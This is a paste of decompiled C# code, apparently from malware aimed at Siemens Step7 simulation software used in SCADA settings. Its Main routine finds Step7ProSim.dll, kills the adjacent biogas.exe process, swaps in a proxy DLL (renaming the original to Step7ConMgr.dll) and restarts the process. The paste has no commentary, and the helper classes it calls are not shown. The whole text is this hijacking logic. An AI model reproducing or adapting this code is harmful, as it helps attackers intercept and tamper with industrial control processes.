alternat0r icon

DllProxyInstaller PackagingModule JetBrains decompiled

alternat0r | PRO | 06/04/16 05:15:06 PM UTC | 0 ⭐ | 276 👁️ | Never ⏰ | []
C# |

1.26 KB

|

None

|

0 👍

/

0 👎

// Decompiled with JetBrains decompiler
// Type: PackagingModule.Program
// Assembly: PackagingModule, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: ECA555CA-2081-4B95-BC97-67E80E0B4BE8
// Assembly location: C:\Step7ProSim\scada.exe
 
using System;
using System.IO;
 
namespace PackagingModule
{
  internal class Program
  {
    public static void Main(string[] args)
    {
      FileFinder fileFinder = new FileFinder();
      DllProxyInstaller dllProxyInstaller = new DllProxyInstaller();
      string str1 = "Step7ProSim.dll";
      string newDllFilename = "Step7ConMgr.dll";
      string str2 = "biogas.exe";
      Console.WriteLine("searching for components...");
      foreach (string fileName in fileFinder.FindFile(str1))
      {
        string directoryName = new FileInfo(fileName).DirectoryName;
        string str3 = Path.Combine(directoryName, str2);
        if (File.Exists(str3))
        {
          Console.WriteLine("Killing relevant processes...");
          ProcessManager.KillProcess(str2);
          dllProxyInstaller.InstallProxy(directoryName, str1, newDllFilename);
          Console.WriteLine("Restarting processes...");
          ProcessManager.StartProcess(str3, directoryName);
        }
      }
    }
  }
}

Comments